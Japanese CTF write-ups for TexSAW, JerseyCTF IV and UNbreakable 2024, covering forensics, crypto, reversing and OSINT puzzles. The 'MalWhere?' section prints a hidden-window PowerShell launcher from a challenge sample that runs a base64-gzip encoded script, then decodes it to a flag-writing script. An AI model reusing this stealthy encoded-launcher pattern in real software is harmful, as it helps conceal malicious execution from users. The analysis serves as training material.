72,3,False,85,2,.Trash-1001\     ,5,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5995273,,2024-03-04 03:53:06.5995903,,2024-03-04 04:02:58.4417241,2024-03-04 03:53:06.5995903,2024-03-04 03:53:08.7566222,,0,0,0,,,
73,3,False,85,2,.Trash-1001\     ,e,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5996409,,2024-03-04 03:53:06.5997045,,2024-03-04 04:02:58.4497348,2024-03-04 03:53:06.5997045,2024-03-04 03:53:08.7567934,,0,0,0,,,
74,3,False,85,2,.Trash-1001\     ,4,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5997584,,2024-03-04 03:53:06.6013519,,2024-03-04 04:02:58.4397756,2024-03-04 03:53:06.6013519,2024-03-04 03:53:08.7569632,,0,0,0,,,
75,3,False,85,2,.Trash-1001\     ,M,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5999791,,2024-03-04 03:53:06.6000419,,2024-03-04 04:02:58.4579075,2024-03-04 03:53:06.6000419,2024-03-04 03:53:08.7571342,,0,0,0,,,
76,3,False,85,2,.Trash-1001\     ,Y,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6005016,,2024-03-04 03:53:06.6005653,,2024-03-04 04:02:58.4674893,2024-03-04 03:53:06.6005653,2024-03-04 03:53:08.7573038,,0,0,0,,,
77,3,False,85,2,.Trash-1001\     ,E,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6006191,,2024-03-04 03:53:06.6006828,,2024-03-04 04:02:58.4517453,2024-03-04 03:53:06.6006828,2024-03-04 03:53:08.7574742,,0,0,0,,,
78,3,False,85,2,.Trash-1001\     ,T,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6007363,,2024-03-04 03:53:06.6007997,,2024-03-04 04:02:58.4637358,2024-03-04 03:53:06.6007997,2024-03-04 03:53:08.7576692,,0,0,0,,,
79,3,False,85,2,.Trash-1001\     ,r,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6009555,,2024-03-04 03:53:06.6010189,,2024-03-04 04:02:58.4598378,2024-03-04 03:53:06.6010189,2024-03-04 03:53:08.7578745,,0,0,0,,,
80,3,False,85,2,.Trash-1001\     ,z,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6010703,,2024-03-04 03:53:06.6011340,,2024-03-04 04:02:58.4694044,2024-03-04 03:53:06.6011340,2024-03-04 03:53:08.7580854,,0,0,0,,,
81,3,False,85,2,.Trash-1001\     ,s,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6011869,,2024-03-04 03:53:06.6012500,,2024-03-04 04:02:58.4617396,2024-03-04 03:53:06.6012500,2024-03-04 03:53:08.7582727,,0,0,0,,,
82,3,False,85,2,.Trash-1001\     ,y,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.6014054,,2024-03-04 03:53:06.6014684,,2024-03-04 04:02:58.4655793,2024-03-04 03:53:06.6014684,2024-03-04 03:53:08.7584517,,0,0,0,,,
83,3,False,5,5,,.Trash-1001,,0,1,,True,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4309354,,2024-03-04 04:03:02.5524727,2024-03-04 04:02:58.4309354,2024-03-04 04:03:02.5524727,2024-03-04 04:02:58.4309354,2024-03-04 04:02:58.4364638,2024-03-04 04:02:58.4309354,0,0,0,,,
84,3,False,83,2,.Trash-1001,    ,,0,1,,True,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4310661,,2024-03-04 04:03:02.5249755,2024-03-04 04:02:58.4310661,2024-03-04 04:03:02.5249755,2024-03-04 04:02:58.4310661,2024-03-04 04:03:02.4995365,2024-03-04 04:02:58.4310661,0,0,0,,,
85,3,False,83,2,.Trash-1001,     ,,0,1,,True,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4311379,,2024-03-04 04:03:02.5512914,2024-03-04 04:02:58.4311379,2024-03-04 04:03:02.5512914,2024-03-04 04:02:58.4311379,2024-03-04 04:03:02.4985102,2024-03-04 04:02:58.4311379,0,0,0,,,
86,11,False,84,2,.Trash-1001\    ,z.                   000000039,.                   000000039,0,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4689668,,2024-03-04 04:02:58.4689668,,2024-03-04 04:02:58.4692604,2024-03-04 04:02:58.4689668,2024-03-04 04:02:58.4689668,,0,0,0,,,
87,3,False,84,2,.Trash-1001\    ,_.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4313758,,2024-03-04 04:02:58.4314335,,2024-03-04 04:02:58.4316200,2024-03-04 04:02:58.4314335,2024-03-04 04:02:58.4319003,2024-03-04 04:02:58.4313758,0,0,0,,,
88,5,False,84,2,.Trash-1001\    ,8.trashinfo,.trashinfo,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4452771,,2024-03-04 04:02:58.4453303,,2024-03-04 04:02:58.4455187,2024-03-04 04:02:58.4453303,2024-03-04 04:02:58.4457853,2024-03-04 04:02:58.4452771,0,0,0,,,
89,3,False,84,2,.Trash-1001\    ,2.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4340525,,2024-03-04 04:02:58.4341177,,2024-03-04 04:02:58.4343058,2024-03-04 04:02:58.4341177,2024-03-04 04:02:58.4346275,2024-03-04 04:02:58.4340525,0,0,0,,,
90,5,False,84,2,.Trash-1001\    ,M.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4575833,,2024-03-04 04:02:58.4576289,,2024-03-04 04:02:58.4577964,2024-03-04 04:02:58.4576289,2024-03-04 04:02:58.4580561,2024-03-04 04:02:58.4575833,0,0,0,,,
91,3,False,84,2,.Trash-1001\    ,b.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4473670,,2024-03-04 04:02:58.4474178,,2024-03-04 04:02:58.4475986,2024-03-04 04:02:58.4474178,2024-03-04 04:02:58.4478765,2024-03-04 04:02:58.4473670,0,0,0,,,
92,5,False,84,2,.Trash-1001\    ,z.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4690767,,2024-03-04 04:02:58.4691226,,2024-03-04 04:02:58.4692923,2024-03-04 04:02:58.4691226,2024-03-04 04:02:58.4695342,2024-03-04 04:02:58.4690767,0,0,0,,,
93,3,False,84,2,.Trash-1001\    ,r.         ,.         ,53,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 04:02:58.4594638,,2024-03-04 04:02:58.4595174,,2024-03-04 04:02:58.4597089,2024-03-04 04:02:58.4595174,2024-03-04 04:02:58.4599829,2024-03-04 04:02:58.4594638,0,0,0,,,

64をインデックス0として対応するFileNameを当てはめていく。

[0, 10, 17, 18, 5, 6, 15, 13, 9, 16, 12, 5, 11, 1, 14, 5, 7, 6, 7, 3, 2, 2, 10, 8, 4, 7]
 3   4   s   y  _  b   r   E  e   z   Y  _   M  F   T  _  7  b  7  f  2  2   4  5  8  7

パスワードは以下のようになる。

34sy_brEezY_MFT_7b7f224587
texsaw{34sy_brEezY_MFT_7b7f224587}

MalWhere? (Forensics 200)

$ file hwvidmigplugin.exe
hwvidmigplugin.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

dnSpyで開き、Resourcesを確認すると、hwvidmigplugin.ps1があり、以下のように書いてある。

powershell.exe -nop -w hidden -noni -c;$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe';$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAC3yPWUA/21ST+saMRT8KjlsUEkDef/yp7JQWvhBoVAvPYmHtQhaRIvY0kM/vC9bTDz0sodhMjNvZofrTzOa7ffjdNvudh+W29PlvltKIAshOYbVu39IIlREfAOIi0UsLjyBktlmCR5Kp4BFFtdFAlrJ2ckTYFRVjj49gaw2MaHn3GVBjdFDeyQqCxIcNg7KzHGITaewTYA+dk6oHHrRiaQXcPDcXlFOFkCVe8CElhg9toSQajWl30AhWsigRazWw236T5uJ2EIE13xq3hK6hLDWoL7U4mtRxNo2txqYbIbXdlHUV3JfBClboOBiU0HSEsQ32aI+qFF7kKDJArnug6XWFPpm80Q6a1NlrY0wuxYENFpCx+0cVbSS+p+RlIA6RjOJmkOEXB+5/l2RO4OK3sK61tzq+TaaWq3/cT1dzGKxHqY/Y/1zO7Afh8Pl9/vNt49fPn8yzuibyjJ/zddfd/92Oh/M/N1M96MZ9usHQYmIpvgCAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

base64部分をデコードし、ファイル保存する。

#!/usr/bin/env python3
from base64 import *

enc = 'H4sIAC3yPWUA/21ST+saMRT8KjlsUEkDef/yp7JQWvhBoVAvPYmHtQhaRIvY0kM/vC9bTDz0sodhMjNvZofrTzOa7ffjdNvudh+W29PlvltKIAshOYbVu39IIlREfAOIi0UsLjyBktlmCR5Kp4BFFtdFAlrJ2ckTYFRVjj49gaw2MaHn3GVBjdFDeyQqCxIcNg7KzHGITaewTYA+dk6oHHrRiaQXcPDcXlFOFkCVe8CElhg9toSQajWl30AhWsigRazWw236T5uJ2EIE13xq3hK6hLDWoL7U4mtRxNo2txqYbIbXdlHUV3JfBClboOBiU0HSEsQ32aI+qFF7kKDJArnug6XWFPpm80Q6a1NlrY0wuxYENFpCx+0cVbSS+p+RlIA6RjOJmkOEXB+5/l2RO4OK3sK61tzq+TaaWq3/cT1dzGKxHqY/Y/1zO7Afh8Pl9/vNt49fPn8yzuibyjJ/zddfd/92Oh/M/N1M96MZ9usHQYmIpvgCAAA='
dec = b64decode(enc)

with open('flag.gz', 'wb') as f:
    f.write(dec)
$ file flag.gz
flag.gz: gzip compressed data, last modified: Sun Oct 29 05:48:29 2023, original size modulo 2^32 760

gzファイルであることがわかるので、解凍する。

$ gzip -d flag.gz
$ cat flag
$op = [char[]]@([int](503%107+41),[int](732%105-1),[int](349%229+0),[int](984%850-19),[int](341%245+1),[int](702%588+5),[int](422%146-7),[int](832%672-48),[int](981%102-15),[int](541%150+28),[int](251%102+22),[int](894%712-68),[int](201%103-15),[int](639%240-42),[int](387%110+25),[int](472%342-27),[int](173%109+5),[int](306%181+0));$ra = [char[]]@([int](734%161+2),[int](251%90+5),[int](542%110+3),[int](802%345-14),[int](943%810-19),[int](256%158-1),[int](238%130+6),[int](823%715-3),[int](942%281+2),[int](204%103+14),[int](291%100+1),[int](422%150-6),[int](439%328+9),[int](143%72+45),[int](103%57+0),[int](743%212-4),[int](642%553+8),[int](932%164-4),[int](398%143-10));$lr= $ra -join '';$ax=$op -join '';$b=$env:PUBLIC + $lr;$ax | Out-File -FilePath $b;

「[int]()」という形式で並んでいるので、ASCIIコードを文字にする。

#!/usr/bin/env python3
codes = '[int](503%107+41),[int](732%105-1),[int](349%229+0),[int](984%850-19),[int](341%245+1),[int](702%588+5),[int](422%146-7),[int](832%672-48),[int](981%102-15),[int](541%150+28),[int](251%102+22),[int](894%712-68),[int](201%103-15),[int](639%240-42),[int](387%110+25),[int](472%342-27),[int](173%109+5),[int](306%181+0)'
codes = codes.replace('[int](', '').replace(')', '')
codes = codes.split(',')

flag = ''
for code in codes:
    flag += chr(eval(code))
print(flag)
texsaw{p0wErSuRgE}

Crypto Trail (Cryptography 50)

以下の順でデコードする。

・2進数
・16進数
・base64
・シーザー暗号
#!/usr/bin/env python3
from base64 import *
import string

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.ascii_uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.ascii_lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

codes = '00110101 01100001 00100000 00110011 00110011 00100000 00110100 01100001 00100000 00110111 00110010 00100000 00110101 01100001 00100000 00110110 01100100 00100000 00110011 00110101 00100000 00110111 00110001 00100000 00110110 00110101 00100000 00110011 00110010 00100000 00110110 00110100 00100000 00110100 00110110 00100000 00110110 00110010 00100000 00110110 01100001 00100000 00110100 00110110 00100000 00110101 01100001 00100000 00110101 01100001 00100000 00110110 01100011 00100000 00110011 00111001 00100000 00110110 01100011 00100000 00110101 00110011 00100000 00110100 00110111 00100000 00110100 00110110 00100000 00110110 00110110 00100000 00110110 00110011 00100000 00110100 00110100 00100000 00110100 00110010 00100000 00110101 01100001 00100000 00110101 00110101 00100000 00110101 00111000 00100000 00110011 00110000 00100000 00110011 01100100'
codes = codes.split(' ')

msg = ''
for code in codes:
    msg += chr(int(code, 2))
print('[+]', msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code, 16))
print('[+]', msg)

msg = b64decode(msg).decode()
print('[+]', msg)

msg = caesar(msg, 13)
print('[*]', msg)

実行結果は以下の通り。

[+] 5a 33 4a 72 5a 6d 35 71 65 32 64 46 62 6a 46 5a 5a 6c 39 6c 53 47 46 66 63 44 42 5a 55 58 30 3d
[+] Z3JrZm5qe2dFbjFZZl9lSGFfcDBZUX0=
[+] grkfnj{gEn1Yf_eHa_p0YQ}
[*] texsaw{tRa1Ls_rUn_c0LD}
texsaw{tRa1Ls_rUn_c0LD}

Freaky Flags (Cryptography 50)

縦に縞々になっている画像ファイルが添付されている。上から順にRGBの値を文字にしていく。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('freakyFlags.png').convert('RGB')
w, h = img.size

flag = ''
for y in [30, 100, 190, 310, 450, 560, 660]:
    r, g, b = img.getpixel((0, y))
    flag += chr(r)
    flag += chr(g)
    flag += chr(b)
print(flag)
the_flag_is_the_flag!
texsaw{the_flag_is_the_flag!}

Ironcrypt (Cryptography 300)

サーバの処理概要は以下の通り。

・one = "----------------"(不明という意味か)
・two = "----------------"(不明という意味か)
・maxlen = 256
・message: 入力
・msglen: messageの長さ
・msglenは0の場合、終了
・msglenがmaxlenより大きい場合
 ・messageをmaxlenで切る。
・msglenが16の倍数でない場合
 ・messageに"0"を16 - msglen % 16個パディング
・encrypted = encrypt(message, one)
 ・AES OFBモードでoneをkeyにしてtwoをivにしてmessageを暗号化
・messageを表示
・messageを16進数表記で表示
・encryptedを16進数表記で表示
$ nc 3.23.56.243 9013
Give me a message to encrypt:
123
Encryption Key:    texsaw{gl0ry_to_
Original Message:  1230000000000000
Message in Hex:    31323330303030303030303030303030
Encrypted Message: 3ac480e66ae6101e7d59484d0bcd5ad2

実際は鍵だけわかっている。OFBモードの性質から、以下のようにIVを求めることができる。

平文1ブロック目 ^ 暗号文1ブロック目 --(AES ECBモード復号)--> IV
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor

key = b'texsaw{gl0ry_to_'
pt = b'1230000000000000'
ct = bytes.fromhex('3ac480e66ae6101e7d59484d0bcd5ad2')

aes = AES.new(key, AES.MODE_ECB)
iv = aes.decrypt(strxor(pt, ct))

flag = (key + iv).decode()
print(flag)
texsaw{gl0ry_to_th3_4zur_$kIes!}

JerseyCTF IV Writeup

この大会は2024/3/24 1:00(JST)~2024/3/25 1:00(JST)に開催されました。
今回もチームで参戦。結果は992点で520チーム中228位でした。
自分で解けた問題をWriteupとして書いておきます。

Rules for JerseyCTF IV (Required)

PDFの最下部にフラグが書いてあった。

jctf{i_agree_to_the_rules}

internal-tensions (misc)

Internet Archiveで2/15のものを見てみる。HTMLソースを見ると、コメントにフラグが書いてあった。

jctf{th3_1nt3rn3t_n3v3r_f0rg3t5_y0ur_b1und3r5}

data-divergence-discovery (misc)

添付のファイルの差分を見てみる。

$ diff neon-echoes-1.txt neon-echoes-2.txt
4c4
< moved with purpose through the cyberpunk metropolis. His cybernetic eyes scanned the surroundings, searching for the entrance to the                                                                                                                        
---
> moved with purpose through the cyberpunk metropolis. His cybernetic eyes scanned the surroundinqs, searching for the entrance to the                                                                                                                        
9c9
< savior. The city's underbelly was a maze of flickering screens, each one a gateway to a world of secrets. Jack, the ghost in the                                                                                                                            
---
> savior. The city's underbelly was a maze of flickering screens, each one a gateway to a world of secrets. Jack, the ghoust in the                                                                                                                           
15c15
< the binary betrayal—a truth too dangerous to share. As he delved deeper, the lines between reality and virtuality blurred, and he                                                                                                                           
---
> the binary betrayal—a truth too dangerous to share. 4s he delved deeper, the lines between reality and virtuality blurred, and he                                                                                                                           
20c20
< reverberated through the digital alleyways. The megacorporations, guardians of the fabricated reality, dispatched their cybernetic                                                                                                                          
---
> reverberated through the digital alleyways. The megancorporations, guardians of the fabricated reality, dispatched their cybernetic                                                                                                                         
25c25
< pavement, a symphony of pursuit echoing through the night. Neon signs flickered in panic as Jack ducked into alleys, his cybernetic                                                                                                                         
---
> pavement, a symphony of pursuit echoing through the night. Neton signs flickered in panic as Jack ducked into alleys, his cybernetic                                                                                                                        
29c29
< Through the electric pulse of the city, Jack reached out to the rebels. The encrypted evidence needed to be broadcasted before the                                                                                                                          
---
> Through the electruic pulse of the city, Jack reached out to the rebels. The encrypted evidence needed to be broadcasted before the                                                                                                                         
34c34
< In a final showdown amid the neon-soaked cityscape, Jack faced the enforcers. The rebels rallied behind him, their augmented reality                                                                                                                        
---
> In a final showdown ammid the neon-soaked cityscape, Jack faced the enforcers. The rebels rallied behind him, their augmented reality                                                                                                                       
38c38
< As the rebels dismantled the fabricated reality, the city shuddered with the birth pains of a new era. The neon lights flickered,                                                                                                                           
---
> As the rebels dismantled the fabricated reality, the city shuddered with the birth pains of a new era. The neon lights_flickered,                                                                                                                           
48c48
< rogue, a master of code navigating the dazzling but treacherous streets. Her cybernetic optics scanned the metropolis, seeking the                                                                                                                          
---
> rogue, a master of code navigating the dazzling but treacherous streets. Her cybernetic opticcs scanned the metropolis, seeking the                                                                                                                         
51c51
< Descending into the depths, Cipher encountered a subversive network of rebels—faces hidden behind holographic disguises. They were                                                                                                                          
---
> Descending into the depths, C1pher encountered a subversive network of rebels—faces hidden behind holographic disguises. They were                                                                                                                          
55c55
< Part 2: Binary Serendipity
---
> Part 2: Bipnary Serendipity
63c63
< the megacorps blurred, forcing her to confront the question of whether she was a pawn or a player in this electrified chessboard.                                                                                                                           
---
> the megacorps blurred, forcing her to confront the question of whhether she was a pawn or a player in this electrified chessboard.                                                                                                                          
67c67
< through alleys, each corner a dance of evasion against the mechanical pursuers. The city itself seemed alive, aiding the enforcers with                                                                                                                     
---
> through alleys, each corner a dance of 3vasion against the mechanical pursuers. The city itself seemed alive, aiding the enforcers with                                                                                                                     
70c70
< Desperate, she reached out to the rebels in the digital underground. The encrypted evidence had to be broadcasted before the enforcers                                                                                                                      
---
> Desperate, she reached out to the rebels in the digital underground. The encrrypted evidence had to be broadcasted before the enforcers                                                                                                                     
74c74
< Part 4: Neon Reckoning
---
> Part 4: Neon Reckoning5

差分のある文字を書き出す。

qu4ntum_c1ph3r5
jctf{qu4ntum_c1ph3r5}

this-is-not-the-flag-you-are-looking-for (osint)

手旗信号になっているので、解読する。

FIREPOWER
 FOR FREE
DOM

「FIREPOWER FOR FREEDOM ship type」で調べると、以下のページが見つかる。

https://www.squadronposters.com/product/uss-new-jersey-bb-62-firepower-for-freedom/#:~:text=USS%20New%20Jersey%20(BB%2D62)%20Firepower%20for%20Freedom%20poster,US%20state%20of%20New%20Jersey.
jctf{USS_New_Jersey_BB_62}

PasswordManager (bin/rev)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int iStack_4c;
  undefined8 uStack_48;
  undefined8 uStack_40;
  undefined2 uStack_38;
  byte abStack_28 [19];
  undefined uStack_15;
  long lStack_10;
  
  lStack_10 = *(long *)(in_FS_OFFSET + 0x28);
  uStack_48 = 0x164d525e4351464f;
  uStack_40 = 0x655c65487a561657;
  uStack_38 = 0x581a;
  if (param_1 == 2) {
    for (iStack_4c = 0; iStack_4c < 0x12; iStack_4c = iStack_4c + 1) {
      abStack_28[iStack_4c] = *(byte *)((long)&uStack_48 + (long)iStack_4c) ^ 0x25;
    }
    uStack_15 = 0;
    iVar1 = strncmp(abStack_28,param_2[1],0x12);
    if (iVar1 == 0) {
      puts(&UNK_00495018);
      uVar2 = 0;
    }
    else {
      puts(&UNK_0049502d);
      uVar2 = 1;
    }
  }
  else {
    printf(&UNK_00495004,*param_2);
    uVar2 = 1;
  }
  if (lStack_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

uStack_48から1文字ずつ0x25とXORすれば正しい入力文字列を算出できる。

#!/usr/bin/env python3

enc = b''
enc += (0x164d525e4351464f).to_bytes(8, 'little')
enc += (0x655c65487a561657).to_bytes(8, 'little')
enc += (0x581a).to_bytes(2, 'little')

flag = ''
for c in enc:
    flag += chr(c ^ 0x25)
print(flag)
jctf{wh3r3s_m@y@?}

substitute-detail-torrent (forensics)

$ strings Blob.wim | grep jctf
This is a testHostUrl:jctf{https://www.NTFS/File/Metadata}
jctf{https://www.NTFS/File/Metadata}

groovy (forensics)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

jctf{wav1ng_fr0m_th3_futur3}

Attn-Agents (crypto)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 3:
Attention JCTF agents! An unknown APT is hijacking networks to spread stealth malware using stolen source code. Your mission: track down the source of the leaks and stop the wide-spread attacks across our networks. Time is running out. The {fate-of-the-web} is in your hands!
jctf{fate-of-the-web}

adveRSAry (crypto)

n, e, qがわかっているので、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('publicKeys', 'r') as f:
    params = f.read().splitlines()

with open('intercepted', 'r') as f:
    c = bytes_to_long(eval(f.read()))

n = int(params[1])
e = int(params[4])
q = int(params[7])
assert n % q == 0
assert c < n

p = n // q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
msg = long_to_bytes(m)
print(msg)

復号結果は以下の通り。

b'\x02\x13 \xf9=\x93\xd28uAP\x12U"\xf1\xc7\xd3R|b\xd2\x81\xe2\xd6~_\n\x14\xbb\x8e\xc4\x06\xab\t\n\xd8\x12L\xc4?\xd3\xe2\x82\xc3\x8b\xe9Kv:\x87J\xc2,j\xf6 \xfb4I=\xf8\n\xcf"\xa4\xef\xac=\xedM\xcei\t\xc4\xa6`\xc1\x9fZ\x0b\x90\xfe\x1b \xc3\x04\x15M\xdf\xce\xb26\xdf\xeeF>\xfd3\xban\xfa\xd53*\xd5\xbe\xea\x92_o\x00jctf{HAHAHA I knew you would intercept this transmission. You may have won this round, but there are many more challenges for me to best you at}'

復号したデータにフラグが含まれていた。

jctf{HAHAHA I knew you would intercept this transmission. You may have won this round, but there are many more challenges for me to best you at}

JerseyCTF IV Feeback (Feedback)

アンケートに答えたら、フラグが表示された。

jctf{tH@nks_for_aTTending_P@RT4!!!}

UNbreakable International 2024 - Individual Phase Writeup

この大会は2024/3/22 19:00(JST)~2024/3/24 19:00(JST)に開催されました。
今回は個人で参戦。結果は1314点で281チーム中56位でした。
自分で解けた問題をWriteupとして書いておきます。

safe-password (OSINT)

https://haveibeenpwned.com/Passwordsで80回以上Pwnされているものをチェックしていく。

Bubblegum123!
$ echo -n "Bubblegum123\!" | sha256sum         
fdc852bc63a266c8c38db64bef90d62d53ddeef00aa85df7b941ac780b3d75d8  -
CTF{fdc852bc63a266c8c38db64bef90d62d53ddeef00aa85df7b941ac780b3d75d8}

start-enc (Cryptography)

以下の順にデコードする。

・2進数
・base64
・ASCIIコード
・16進数
#!/usr/bin/env python3
from base64 import *

with open('encoded.txt', 'r') as f:
    enc = f.read()

enc = enc.split(' ')
msg = ''
for c in enc:
    msg += chr(int(c, 2))
print('[+]', msg)

msg = b64decode(msg).decode()
print('[+]', msg)

codes = msg.split(';')[:-1]
msg = ''
for code in codes:
    msg += chr(int(code[2:]))
print('[+]', msg)

codes = msg.split(' ')
flag = ''
for code in codes:
    flag += chr(int(code, 16))
print('[*]', flag)

実行結果は以下の通り。

[+] JiM1MzsmIzUyOyYjMzI7JiM1NDsmIzU2OyYjMzI7JiM1NDsmIzUzOyYjMzI7JiM1MDsmIzQ4OyYjMzI7JiM1NDsmIzU0OyYjMzI7JiM1NDsmIzk5OyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1NDsmIzU1OyYjMzI7JiM1MDsmIzQ4OyYjMzI7JiM1NDsmIzU3OyYjMzI7JiM1NTsmIzUxOyYjMzI7JiM1MTsmIzk3OyYjMzI7JiM1MDsmIzQ4OyYjMzI7JiM1MjsmIzUxOyYjMzI7JiM1MzsmIzUyOyYjMzI7JiM1MjsmIzU0OyYjMzI7JiM1NTsmIzk4OyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzQ5OyYjMzI7JiM1MTsmIzUwOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1MTsmIzQ4OyYjMzI7JiM1NDsmIzUzOyYjMzI7JiM1MTsmIzU3OyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1MTsmIzQ4OyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1NDsmIzUxOyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1MTsmIzQ4OyYjMzI7JiM1MTsmIzU0OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1NDsmIzUxOyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzUzOyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzQ4OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzU3OyYjMzI7JiM1MTsmIzQ5OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzU3OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1NDsmIzQ5OyYjMzI7JiM1NDsmIzUzOyYjMzI7JiM1NDsmIzUxOyYjMzI7JiM1NDsmIzU0OyYjMzI7JiM1MTsmIzU1OyYjMzI7JiM1MTsmIzUxOyYjMzI7JiM1MTsmIzU1OyYjMzI7JiM1NDsmIzUyOyYjMzI7JiM1MTsmIzU2OyYjMzI7JiM1MTsmIzU1OyYjMzI7JiM1MTsmIzUwOyYjMzI7JiM1MTsmIzUyOyYjMzI7JiM1MTsmIzU0OyYjMzI7JiM1MTsmIzU0OyYjMzI7JiM1MTsmIzU3OyYjMzI7JiM1MTsmIzU0OyYjMzI7JiM1NDsmIzUxOyYjMzI7JiM1NDsmIzUwOyYjMzI7JiM1MTsmIzU1OyYjMzI7JiM1NTsmIzEwMDs=
[+] &#53;&#52;&#32;&#54;&#56;&#32;&#54;&#53;&#32;&#50;&#48;&#32;&#54;&#54;&#32;&#54;&#99;&#32;&#54;&#49;&#32;&#54;&#55;&#32;&#50;&#48;&#32;&#54;&#57;&#32;&#55;&#51;&#32;&#51;&#97;&#32;&#50;&#48;&#32;&#52;&#51;&#32;&#53;&#52;&#32;&#52;&#54;&#32;&#55;&#98;&#32;&#51;&#53;&#32;&#51;&#56;&#32;&#51;&#52;&#32;&#54;&#50;&#32;&#51;&#51;&#32;&#51;&#49;&#32;&#51;&#50;&#32;&#54;&#50;&#32;&#54;&#50;&#32;&#51;&#53;&#32;&#54;&#50;&#32;&#54;&#50;&#32;&#51;&#51;&#32;&#51;&#52;&#32;&#51;&#48;&#32;&#54;&#53;&#32;&#51;&#57;&#32;&#51;&#52;&#32;&#51;&#48;&#32;&#51;&#56;&#32;&#51;&#53;&#32;&#54;&#51;&#32;&#51;&#52;&#32;&#51;&#51;&#32;&#54;&#49;&#32;&#54;&#50;&#32;&#54;&#49;&#32;&#51;&#48;&#32;&#51;&#54;&#32;&#51;&#51;&#32;&#54;&#51;&#32;&#51;&#53;&#32;&#54;&#50;&#32;&#51;&#53;&#32;&#54;&#49;&#32;&#51;&#56;&#32;&#51;&#56;&#32;&#51;&#48;&#32;&#51;&#51;&#32;&#51;&#57;&#32;&#51;&#49;&#32;&#51;&#51;&#32;&#51;&#57;&#32;&#51;&#51;&#32;&#54;&#50;&#32;&#54;&#49;&#32;&#54;&#53;&#32;&#54;&#51;&#32;&#54;&#54;&#32;&#51;&#55;&#32;&#51;&#51;&#32;&#51;&#55;&#32;&#54;&#52;&#32;&#51;&#56;&#32;&#51;&#55;&#32;&#51;&#50;&#32;&#51;&#52;&#32;&#51;&#54;&#32;&#51;&#54;&#32;&#51;&#57;&#32;&#51;&#54;&#32;&#54;&#51;&#32;&#54;&#50;&#32;&#51;&#55;&#32;&#55;&#100;
